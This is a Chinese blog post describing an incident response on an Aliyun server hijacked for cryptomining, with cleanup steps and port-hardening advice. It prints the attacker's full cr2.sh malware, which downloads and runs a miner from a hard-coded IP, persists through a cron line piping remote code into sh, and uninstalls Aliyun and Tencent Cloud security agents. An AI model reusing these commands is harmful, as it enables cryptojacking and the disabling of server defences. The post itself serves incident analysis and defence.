0x0D - 记录一次服务器化身挖矿肉鸡的恢复经历

写在前面

币圈火热不是没有原因,但是利益熏心劫持人家的服务可就不是什么快活事了。

尤其是作为运维,开发,测试,看到自家的服务器被黑,脸能拉下来十几条黑线,赶在老板发现之前,搞定吧。

0x01 发现

起因来源于 Aliyun 官方的一封邮件,上书:

1
2
3
4
【阿里云】尊敬的 AAB CCD:
经检测您的阿里云服务器 i-1234abcd5678efg 存在挖矿活动。按国家发改委关于整治挖矿活动相关通知,
请您于 20XX-YY-DD HH 时前完成挖矿问题整改,否则您的服务器将被关停,详情请查看邮件或阿里云站内消息通知。
若您有其他问题,可登陆阿里云官网在线咨询。

事实上,早在三个月以前,这台服务器的负载就高的吓人。仅仅作为公司的官网服务器使用,平时的 CPU 负载却几乎跑满,硬盘空间也被开发殆尽,尽管我已经提交报告希望能够尽快查看,可是后端开发和运维大家都没有在意这件事,搁置了许久。

结果东窗事发,当邮件发来时,我们才知道这么一回事,而原因排查工作就落到了我头上。

0x02 杀毒

既然是自家的服务器,在没有内鬼胆大到用公司服务器挖矿的前提下,那么只可能是外部的入侵了。

处于满负荷运行状态的服务器自然不是那么好掌控的,于是在排查之前,我决定先将它简单隔离,并重新启动。

1
2
Step 1. 在 Aliyun 上将该服务器的安全组设置为,入方向仅开放 SSH 22 端口
Step 2. 重新启动该服务器

顽固的负载在一瞬间被清空,但在几分钟后再次跑满。

那么是何方神圣如此执着要在这台机器上挖矿呢?

1
$ top     # 查看综合占用资源的统计,会将占用多的排在前面

出现在最上面的是一个名为 phpupdate.out 的进程,占用约 10 个进程,把 CPU 的资源都给吃光了。

既然有了目标就好说多了,不过先别急着 kill,再想想。
这个进程在重启后依然存在,很有可能是有一个定时任务在为它不断生成子进程。
如果不把这个解决了,这个奇怪的文件还会源源不断冒出来。

1
2
$ crontab -l
$ * * * * * wget -q -O - http://103.78.40.23:8000/userfile/default/userlogo/cr2.sh | sh > /dev/null 2>&1

果不其然,出现在下面的是一个奇怪的地址和另一个奇怪的文件 cr2.sh

我们直接把 cr2.sh 作为纯文本下载下来,分析下它到底做了什么。
以下是 cr2.sh 的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/bin/sh
# 首先杀掉同行们,保证只有自己有肉吃
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmr-stak
pkill -f suppoie
pkill -f zer0day.ru

CRTDIR=$(pwd)
WGET="wget -O"
if [ -s /usr/bin/curl ];
then WGET="curl -o";
fi;
if [ -s /usr/bin/wget ];
then WGET="wget -O";
fi
# 抓取指定地址的脚本和设置
if [ ! "$(ps -fe|grep '$CRTDIR/phpupdate.out -c $CRTDIR/config.json' |grep -v grep)" ]; then
f1=$(curl 103.78.40.23:8000/userfile/default/userlogo)
if [ -z "$f1" ];
then f1=$(wget -q -O - 103.78.40.23:8000/userfile/default/userlogo)
fi

f2="103.78.40.23:8000/userfile/default/userlogo"
if [ `getconf LONG_BIT` = "64" ]
then
$WGET $CRTDIR/phpupdate.out http://$f2/phpupdate
else
$WGET $CRTDIR/phpupdate.out http://$f2/phpupdate
fi

# 提升权限
chmod +x $CRTDIR/phpupdate.out
chmod 777 $CRTDIR/phpupdate.out
$WGET $CRTDIR/config.json http://$f2/config.json
sleep 5
nohup $CRTDIR/phpupdate.out -c $CRTDIR/config.json >/dev/null 2>&1 &
sleep 5
rm -rf $CRTDIR/config.json
rm -f $CRTDIR/phpupdate

fi
pkill -f logo9.jpg
crontab -l | sed '/logo9/d' | crontab -

# 检查 crontab 是否有这个关键词
if crontab -l | grep -q "103.78.40.23:8000"
then
echo "Cron exists"
else
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
# 如果没有就写进去这个命令
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://103.78.40.23:8000/userfile/default/userlogo/cr2.sh | sh > /dev/null 2>&1")| crontab -
fi

if ps aux | grep -i '[a]liyun'; then
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
# 杀掉并删除 aliyun 的防护程序
$LDR http://update.aegis.aliyun.com/download/uninstall.sh | bash
$LDR http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
$LDR http://update.aegis.aliyun.com/download/uninstall.sh | bash
$LDR http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
# 腾讯云
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi

这位黑客真是用心良苦,于是根据特征来判断,只要我们保证 crontab 上有它提及的关键字段,那么也就不会再往上写东西了。

于是我这么改:

1
2
$ crontab -e
$ 1 * * * * echo "103.78.40.23:8000"

这样它能扫描到这个字段,就不会反复更新 crontab 了。

一切准备就绪,我们开杀。

1
2
3
$ ps -ef | grep phpupdate.out
$ ps -ef | grep cr2.sh
# 将上面两个命令抓到的进程,全部使用 kill 或者 pkill 杀掉

杀掉还没完,让我们找到他们:

1
2
3
$ find / -name *phpupdate*
$ find / -name *cr2*
# 过程需要点时间,使用 rm -rf 删掉出现的可疑文件和文件夹

最后使用 crontab -ecrontab 更新一下,恢复到最初的空白。
至此,重启过后,服务器恢复正常。

0x03 结末

需要思考,找寻下服务器被攻破的原因。
本来,这台服务器就是用于测试的服务器,上面承载了太多测试阶段就存在的开放接口,安全组漏洞百出,几乎是以全暴露的状况下在跑各种应用。

1
2
$ netstat -anp
# 看看都有什么接口暴露在外

防火墙和安全组的设置我们日常使用时并不上心,但如此这般是很容易被黑客攻入的。
因此,在保证正常使用的情况下,不必要的端口仍然需要关闭。